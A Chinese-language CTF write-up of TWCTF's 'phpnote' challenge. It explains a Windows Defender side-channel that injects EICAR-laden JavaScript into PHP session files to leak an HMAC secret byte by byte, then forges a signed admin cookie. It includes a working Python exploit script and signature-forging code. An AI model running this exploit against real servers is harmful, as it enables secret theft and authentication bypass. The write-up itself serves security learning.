前言
前几天打了一下由tokyowesterns
举办的TWCTF,感觉phpnote这题还是不错的,一个全新的知识点,比赛的时候没有解出来,赛后问了一下梅子酒才知道这个是用windows-defender
测信道攻击,下面记录一下解题过程
前置知识
Windows Defender介绍
来自WIKI
Windows Defender
(Windows 10创意者更新后名为Windows Defender Antivirus
),曾用名Microsoft AntiSpyware
,最初是用来移除、隔离和预防间谍软件的程序,可以运行在Windows XP以及更高版本的操作系统上,并已经内置在Windows Vista
以及以后的版本中。Windows Defender
的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials
,成为一款全面反病毒软件。
关于 mpengine.dll
TokyoWesterns
在PPT上是这么描述的
mpengine.dll
是Windows Defender
核心的ddl文件,其中它包含了JS引擎,它继承了JS的一些基础语法,其中它支持eval函数,但是它会对eval函数的参数进行检测,如果发现恶意数据则会进行拦截
Windows-Defender触发机制
在WCTF2019上TokyoWesterns
出了一个关于Windows Defender
侧信道攻击的题目,赛后分享的PPT地址为:链接
Defender对文件的检测行为如下(摘自TokyoWesterns的PPT):
所以我们第一步是要找到能触发Windows Defender
检测机制的文件,EICAR
测试文件可以做到这一点,关于EICAR测试文件的解释如下(参考链接):1
欧洲计算机防病毒研究所 (EICAR) 开发了一种测试病毒,可用于测试您的防病毒设备。此脚本是一个惰性文本文件。二进制特征码包含在多数防病毒产品供应商的病毒码文件中。它本质上不是病毒,并且不包含任何程序代码。
我们可以从上面的参考链接中下载到这样的一个EICAR测试文件1
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
然后我们在本地测试一下看看会不会拦截
可以明显看到被拦截了,但是如果把这个字符破坏掉就不会被拦截,所以我们可以利用Windows Defender
这一点来进行侧信道攻击
phpnote
从注释中得到1
http://phpnote.chal.ctf.westerns.tokyo/?action=source
源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
include 'config.php';
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
function is_login() {
return !empty($_SESSION['secret']);
}
function redirect($action) {
header("Location: /?action=$action");
exit();
}
$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}
if ($action === 'source') {
highlight_file(__FILE__);
exit();
}
session_start();
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
if ($action === 'logout') {
session_destroy();
redirect('index');
}
if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}
if ($action === 'getflag') {
$note->getflag();
}
//.....省略部分源码....
关键代码如下1
2
3
4
5
6
7
8
9function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
//....省略.....
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
从上面代码可以看出cookie里面数据是经过签名校验的,但是我们secret
不知道,所以直接伪造cookie这条路走不通了,由于php的session
是以文件的形式保存的,也就是说我们可以把我们的恶意数据注入到session
的文件中,从而触发Windows Defender
的检测机制,但是我们怎么控制session
文件内容呢,我们先看一下session
文件保存的内容
我们用下面代码测试一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
define(SALT,"test");
define(PEPPER, "test");
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
session_start();
$nickname = "rootroot";
$realname = "adminadminadmin";
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
session
文件内容如下,第一次我们先postnickname
为空,因为nickname是在secret
先设置,如果我们不设置nickname
为空,nickname
的值会出现secret
,导致我们注入恶意数据读取不了secret
,我们可以看一下两者的区别
第一次postnickname
值不为空时1
realname|s:15:"adminadminadmin";nickname|s:8:"rootroot";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";
第一次postnickname
值为空时,第二次post个rootroot
1
realname|s:15:"adminadminadmin";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"rootroot";
然后nickname
和realname
的值我们可以控,所以我们可以在这两个值之间注入我们的恶意数据,例如realname
为<script>xxxxxx</script><body>
,然后nickname
为:
闭合之后就是1
<script>xxxxxx</script><body>";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"</body>";
然后刚好secret在body标签内1
<body>";secret|s:32:"70034bb522e6f77c6f3e88d18b86c6df";nickname|s:8:"</body>
这意味着我们可以利用document.body.innerHTML
读到我们的secret
梳理一下攻击步骤,大致步骤如下:
- 向session文件中注入恶意数据
- 利用Windows-Defender的检测机制,然后观察是否返回正常,如果检测的到恶意数据的话会登陆失败,否则则登陆成功
- 在
realname
和nickname
之间嵌入JS脚本,然后逐字节泄露secret
改一下作者原来在WCTF上Gyotaku
的脚本,跑一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44import requests
url = "http://phpnote.chal.ctf.westerns.tokyo/?action="
def randstr(n=8):
import random
import string
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])
def trigger(c, idx):
import string
prefix = randstr()
p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
payload = string.Template(p).substitute({'idx': idx, 'c': c})
session = requests.session()
data_1 = {
"nickname": "",
"realname": "aaaaaaaaaaaaaaaaaaaaaa"
}
session.post(url + "login", data=data_1)
data_2 = {
"nickname": "</body>",
"realname": payload
}
resp=session.post(url + "login", data=data_2)
if "Welcome" not in resp.text:
return True
def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
flags = trigger(m, idx)
if flags:
l = m
else:
h = m
return chr(l)
data = ''
for i in range(50):
data += leak(i)
print(data)
跑一会,secret
就跑出来了
然后再用secret
签名一下数据就能getflag了1
2
3
4
5
6
7$secret = "2532bd172578d19923e5348420e02320";
$note = new Note(true);
$note->addnote("abc","abc");
$data = base64_encode(serialize($note));
echo $data.PHP_EOL;
echo hash_hmac('sha256', $data, $secret).PHP_EOL;
var_dump(verify($data,hash_hmac('sha256', $data, $secret)));
改一下cookie访问http://phpnote.chal.ctf.westerns.tokyo/?action=getflag
就能getflag
了
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}
Reference
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf
https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/